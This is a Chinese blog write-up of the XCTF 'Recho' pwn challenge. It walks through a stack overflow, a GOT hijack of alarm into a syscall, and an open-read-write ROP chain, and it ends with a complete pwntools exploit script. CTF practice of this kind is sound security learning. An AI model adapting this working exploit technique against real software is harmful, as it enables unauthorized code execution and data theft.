攻防世界高手进阶区——Recho

攻防世界高手进阶区——Recho

在这里插入图片描述

题目什么也没给。(在这个题困了好久,一直在学基础,但是发现了一个更好用的学习网站,基本 ROP - CTF Wiki (ctf-wiki.org))希望对你们有用,估计以后就转战ctfwiki了。先做完这个题吧。

做题经历

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char nptr[16]; // [rsp+0h] [rbp-40h] BYREF
  char buf[40]; // [rsp+10h] [rbp-30h] BYREF
  int v6; // [rsp+38h] [rbp-8h]
  int v7; // [rsp+3Ch] [rbp-4h]

  Init();
  write(1, "Welcome to Recho server!\n", 0x19uLL);
  while ( read(0, nptr, 16uLL) > 0 )            // 读入字符
  {
    v7 = atoi(nptr);
    if ( v7 <= 15 )
      v7 = 16;
    v6 = read(0, buf, v7);
    buf[v6] = 0;
    printf("%s", buf);
  }
  return 0;
}

这里稍微分析一下就知道,这里第二次输入的数量与第一次的输入有关,于是我们可以在这里搞一点事情。

但是这里存在一个问题,那就是read判断永远为真,要是在交互界面的话可以通过Ctrl+D直接断开链接,但是在脚本上运行的话就需要用到另一个工具来断开,这个工具就是pwntools自带的shutdown功能,可以直接关闭流,这个功能以前没用过,但是很有用,这里不得不感叹一下pwntools的作者们真的很强,学习之路道阻且长。

但是这个如果用工具直接断开链接就不能在回到程序里面去了,因为关闭后不能打开,所以我们必须一次性完成所有操作,不能够继续用ret2libc来调用库函数system了。

但是这里我们可以用另一个方法 **系统调用(syscall)**这里放上我对系统调用的作用原理和机制的一些总结。

(10条消息) 系统调用浅解与原理_coke_pwn的博客-CSDN博客

如果你看完了我的总结或者已经了解了一点系统调用,这里应该知道open,write,read,alarm这些都是系统调用,看一下gdb调试read函数的汇编代码

  0x400600       <read@plt>    jmp    qword ptr [rip + 0x200a2a]    <read>0x7ffff7ecdff0 <read>        endbr64 
   0x7ffff7ecdff4 <read+4>      mov    eax, dword ptr fs:[0x18]0x7ffff7ecdffc <read+12>     test   eax, eax
   0x7ffff7ecdffe <read+14>     jne    read+32                <read+32>
 
   0x7ffff7ece000 <read+16>     syscall 
   0x7ffff7ece002 <read+18>     cmp    rax, -0x1000
   0x7ffff7ece008 <read+24>     ja     read+112                <read+112>
 
   0x7ffff7ece00a <read+26>     ret    
 
   0x7ffff7ece00b <read+27>     nop    dword ptr [rax + rax]
   0x7ffff7ece010 <read+32>     sub    rsp, 0x28

可以看到在偏移量为16的地方这里用了syscall的系统调用指令。

open-read-write获得flag

对于需要系统调用来ROP的题基本上都可以用这种方法来构造ROP链,

于是我们可以想办法去构造这样的代码来拿到flag

int fd = open("flag",READONLY);
read(fd,buf,100);
printf(buf);

分析ida,发现write和read函数已经有了,但是open函数没有,我们发现有个alarm函数貌似没什么用,去百度一下。

alarm也称为闹钟函数,它可以在进程中设置一个定时器,当定时器指定的时间到时,它向进程发送SIGALRM信号。可以设置忽略或者不捕获此信号,如果采用默认方式其动作是终止调用该alarm函数的进程。

unsigned int Init()
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  return alarm(60u);
}

好家伙,果然没什么用,可以看出来,该程序并没设置处理alarm发出的信号的函数。

GOT表劫持获得syscall

于是我们可以通过GOT表劫持将alarm函数的GOT地址改为我们想要的函数的地址。

 0x7ffff7ea2dc0 <alarm>       endbr64 
   0x7ffff7ea2dc4 <alarm+4>     mov    eax, 0x25
   0x7ffff7ea2dc9 <alarm+9>     syscall 
   0x7ffff7ea2dcb <alarm+11>    cmp    rax, -0xfff0x7ffff7ea2dd1 <alarm+17>    jae    alarm+20                <alarm+20>

通过gdb调试还可以看到,在alarm偏移量为9的地方是syscall,但是起始地址是endbr64,这个指令貌似是确定跳转到分支函数的指令,而且在很多函数启动时都有这个指令,例如_start()函数

31-0000000000001040 <_start>:
32:    1040:    f3 0f 1e fa             endbr64 
33-    1044:    31 ed                   xor    ebp,ebp

并不是很懂这个指令,但这里alarm函数的起始地址应该为alarm+4那段地址,于是syscall相对于alarm函数的地址偏移为0x5。这里贴上assembly - endbr64指令的相关文章

地址有了,接下来就是想办法劫持alarm函数,将他的地址改为syscall指令了。

coke@ubuntu:~/桌面/CTFworkstation/Offensive_and_defensive_world/REcho$ ROPgadget --binary Recho --only "add|ret"
Gadgets information
============================================================
0x00000000004008af : add bl, dh ; ret
0x00000000004008ad : add byte ptr [rax], al ; add bl, dh ; ret
0x00000000004008ab : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x00000000004008ac : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400830 : add byte ptr [rax], al ; add cl, cl ; ret
0x00000000004008ae : add byte ptr [rax], al ; ret
0x00000000004006f8 : add byte ptr [rcx], al ; ret
0x000000000040070d : add byte ptr [rdi], al ; ret
0x0000000000400832 : add cl, cl ; ret
0x00000000004006f4 : add eax, 0x20098e ; add ebx, esi ; ret
0x000000000040070a : add eax, 0x70093eb ; ret
0x00000000004006f9 : add ebx, esi ; ret
0x00000000004005b3 : add esp, 8 ; ret
0x00000000004005b2 : add rsp, 8 ; ret
0x00000000004005b6 : ret

Unique gadgets found: 15

用ROPgadget脚本可以看到这里存在add指令

0x00000000004008ae : add byte ptr [rax], al ; ret
0x00000000004006f8 : add byte ptr [rcx], al ; ret
0x000000000040070d : add byte ptr [rdi], al ; ret

可以修改指定的寄存器指向的地址的值,这里用的是al来加,所以肯定不能用rax寄存器来指向GOT表

coke@ubuntu:~/桌面/CTFworkstation/Offensive_and_defensive_world/REcho$ ROPgadget --binary Recho --only "pop|ret"
Gadgets information
============================================================
0x000000000040089c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008a0 : pop r14 ; pop r15 ; ret
0x00000000004008a2 : pop r15 ; ret
0x00000000004006fc : pop rax ; ret
0x000000000040089b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400690 : pop rbp ; ret
0x00000000004008a3 : pop rdi ; ret
0x00000000004006fe : pop rdx ; ret
0x00000000004008a1 : pop rsi ; pop r15 ; ret
0x000000000040089d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005b6 : ret

Unique gadgets found: 13

再对比一下POP指令,于是我们选择rdi来存储alarm函数的GOT地址。

这里的[]是间接寻址,即将al的值加到rdi寄存器存储的地址上面存储的数据上。

于是便有了下面的脚本

payload = 'A'*0x30  #覆盖buf[40]; // [rsp+10h] [rbp-30h] 
payload +='A'*0x08 #覆盖 rbp
#alarm GOT表劫持到syscall位置
payload += p64(pop_rax_ret)+p64(0x5)
payload += p64(pop_rdi_ret)+p64(alarm_got)
payload += p64(rdi_add_al_ret) 

接下来就是继续构造ROP链。

OPEN_READ_WRITE

已经获得了syscall指令,然后又在数据段找到了flag字符串(不知道为什么string窗没有这个字符串)也是在看了别人的题解后找到的。

.data:0000000000601058 flag            db 'flag',0

现在距离构造ROP越来越近了

int fd = open("flag",READONLY);
read(fd,buf,100);
printf(buf);

我们现在就是需要将flag文件打开为一个流

通过syscall实现

payload += p64(pop_rdi)+p64(flag_addr)  #rdi='flag

payload += p64(pop_rsi_r15)+p64(0)+p64(0) #rsi=0(READONLY)
payload += p64(pop_rdx_ret)+p64(0) # rdx = 0
payload += p64(pop_rax_ret)+p64(0x2) # rax=2,open的调用号为2
# 执行alarm完成GOT表劫持,syscall的传参顺序是rdi,rsi,rdx,rcx,r8,r9
payload += p64(alarm_plt) 

脚本里面已经给了详细的注释了就不在赘述了。

接下里就是将flag文件写到bss段

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x401000 r-xp     1000 0      /home/coke/桌面/CTFworkstation/Offensive_and_defensive_world/REcho/Recho
          0x600000           0x601000 r--p     1000 0      /home/coke/桌面/CTFworkstation/Offensive_and_defensive_world/REcho/Recho
          0x601000           0x602000 rw-p     1000 1000   /home/coke/桌面/CTFworkstation/Offensive_and_defensive_world/REcho/Recho

通过调试可以看到bss段是可写的。于是构造脚本

# 将flag传回的值写入到bss段 read(fd,stdin_buffer,100)
payload += p64(pop_rdi)+p64(3) #open()打开文件返回的文件描述符一般从3开始,系统环境不一样也可能不是3,依次顺序增加
payload += p64(pop_rdx)+p64(0x2d) #指定长度
payload += p64(pop_rsi_r15)+p64(bss)+p64(0) # rsi =写入的地址,用于存取open结果
payload += p64(read_plt)

最后输出flag即可

payload += p64(pop_rsi_r15)+p64(bss)+p64(0)
payload += p64(pop_rdx)+p64(0x40)
payload += p64(pop_rdi)+p64(0x01)
payload += p64(write_plt)

就不在赘述了,这里再强调一点就是64位系统传参方式都是先用寄存器传参,然后用栈传参,无论是系统调用还是普通的函数调用。传参顺序是rdi,rsi,rdx,rcx,r8,r9。

rax寄存器在构造exp中,可用于劫持got表,调用系统序号函数。

断开流

shutdown(‘send’)用于跳出函数无线循环。

完整的wp

#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
conn = remote('111.200.241.244',49387)

pop_rdi = 0x004008a3
pop_rax = 0x004006fc
add_rdi_al = 0x0040070d
pop_rsi_r15 = 0x004008a1
pop_rdx = 0x004006fe
add_rcx_ret = 0x04006f8
filepath = 0x00601058

save_to = 0x00601060

size = 0x30

elf = ELF('./Recho')
alarm_plt = elf.plt['alarm']
alarm_got = elf.got['alarm']
read_plt = elf.plt['read']
write_plt = elf.plt['write']

# 溢出
payload = b'a' * (0x30 + 0x8)
# 修改alarm Got表
payload += p64(pop_rdi) + p64(alarm_got)
payload += p64(pop_rax) + p64(0x5)
payload += p64(add_rdi_al) 
# open(path, readonly)
payload += p64(pop_rdi) + p64(filepath)
payload += p64(pop_rsi_r15) + p64(0) + p64(0)
payload += p64(pop_rax) + p64(0x2)
payload += p64(alarm_plt)
# read(fd=3, save_to,size)
payload += p64(pop_rdi) + p64(0x3)
payload += p64(pop_rsi_r15) + p64(save_to) + p64(0)
payload += p64(pop_rdx) + p64(size)
payload += p64(read_plt)
# write(fd=1, save_to, size)
payload += p64(pop_rdi) + p64(0x1)
payload += p64(pop_rsi_r15) + p64(save_to) + p64(0)
payload += p64(pop_rdx) + p64(size)
payload += p64(write_plt)

conn.recvuntil(b'Welcome to Recho server!\n')
conn.sendline(str(len(payload)).encode('utf-8'))
conn.sendline(payload)
conn.recv()
conn.shutdown('send')
conn.interactive()

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值